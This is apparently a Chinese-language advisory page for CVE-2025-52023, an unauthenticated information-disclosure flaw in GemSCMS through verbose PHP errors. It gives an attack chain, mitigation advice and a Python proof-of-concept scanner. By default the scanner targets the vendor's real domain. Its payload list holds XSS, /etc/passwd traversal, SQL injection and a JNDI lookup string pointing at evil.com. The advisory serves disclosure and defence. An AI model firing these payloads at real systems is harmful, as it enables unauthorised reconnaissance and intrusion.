IPBUF安全漏洞报告
English
CVE-2025-52023 CVSS 5.3 中危

CVE-2025-52023 gemscms信息泄露漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2025-52023
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
gemscms.aptsys.com.sg

相关标签

CVE-2025-52023信息泄露错误消息泄露GemSCMSPHPCWE-209未认证访问Web应用安全

漏洞概述

CVE-2025-52023是GemSCMS系统中的一个信息泄露漏洞。该漏洞存在于PHP后端,允许未认证的远程攻击者通过向公共API端点发送特制的HTTP GET/POST请求,触发详细的错误消息。这些错误消息会暴露系统内部文件路径、代码片段和堆栈跟踪等敏感信息。攻击者可以利用这些泄露的信息了解系统内部结构、文件布局和代码逻辑,为进一步的攻击提供重要情报支持。该漏洞被分类为CWE-209(通过错误消息的信息泄露),影响范围涵盖2025年5月28日之前的GemSCMS版本。

技术细节

该漏洞主要影响GemSCMS的PHP后端API端点。攻击者可以通过构造特定的HTTP请求参数或路径,触发应用程序的异常处理机制,从而强制系统输出详细的调试信息。泄露的信息包括:1) 内部文件路径结构,帮助攻击者了解服务器目录布局;2) 代码片段和函数调用栈,暴露业务逻辑实现细节;3) 配置文件路径和数据库连接信息;4) PHP错误堆栈跟踪,可能包含环境变量和会话信息。攻击者通常会尝试各种异常输入(如特殊字符、错误数据类型、超长字符串等)来触发错误条件。该漏洞不需要任何认证,攻击者可以直接通过互联网利用此漏洞收集目标系统的敏感信息。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用GemSCMS系统
STEP 2
步骤2
攻击者访问公共API端点(如/api/users、/api/search等)
STEP 3
步骤3
攻击者发送特制HTTP请求(包含异常参数如特殊字符、超长字符串、SQL注入尝试等)
STEP 4
步骤4
服务器处理异常请求,触发PHP错误处理机制
STEP 5
步骤5
响应中返回详细错误消息,包含文件路径、代码片段、堆栈跟踪等敏感信息
STEP 6
步骤6
攻击者收集泄露信息,分析系统架构和代码逻辑
STEP 7
步骤7
利用收集的情报信息,策划进一步的攻击活动(如文件包含、代码注入等)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-52023 PoC - GemSCMS Information Disclosure # Target: gemscms.aptsys.com.sg def test_information_disclosure(target_url): """ Test for CVE-2025-52023 information disclosure vulnerability """ endpoints = [ '/api/users', '/api/products', '/api/search', '/api/admin', '/index.php', '/admin/index.php' ] payloads = [ "'?><script>alert(1)</script>", "../../../../etc/passwd", "' OR '1'='1", "{{7*7}}", "${jndi:ldap://evil.com/a}", "A" * 10000 ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-52023 - Information Disclosure Test") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint # Test GET request for payload in payloads: try: params = {'q': payload, 'id': payload, 'search': payload} response = requests.get(url, params=params, timeout=10, verify=False) # Check for information disclosure indicators if any(indicator in response.text.lower() for indicator in ['stack trace', 'error in', 'exception', 'php error', '/var/www', '/home/', 'c:\windows', 'traceback', 'at line', 'in /', 'call stack']): print(f"[!] VULNERABLE: {url}") print(f"[!] Payload: {payload}") print(f"[!] Response contains sensitive error information") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {e}") # Test POST request for payload in payloads: try: data = {'input': payload, 'data': payload} response = requests.post(url, data=data, timeout=10, verify=False) if any(indicator in response.text.lower() for indicator in ['stack trace', 'error in', 'exception', 'php error', '/var/www', '/home/', 'c:\\windows', 'traceback']): print(f"[!] VULNERABLE: {url} (POST)") print(f"[!] Payload: {payload}") return True except requests.exceptions.RequestException: pass print("[*] Test completed - No obvious information disclosure detected") return False if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] else: target = 'http://gemscms.aptsys.com.sg' test_information_disclosure(target)

影响范围

gemscms.aptsys.com.sg (截至2025-05-28的所有版本)

防御指南

临时缓解措施
立即禁用PHP的display_errors配置,将display_errors设置为Off或0,确保生产环境中不显示详细的错误信息。同时配置log_errors为On,将错误记录到安全的日志文件中。实施输入验证和过滤机制,对API端点的异常请求进行拦截。建议升级到GemSCMS 2025-05-28之后的版本以获得官方修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表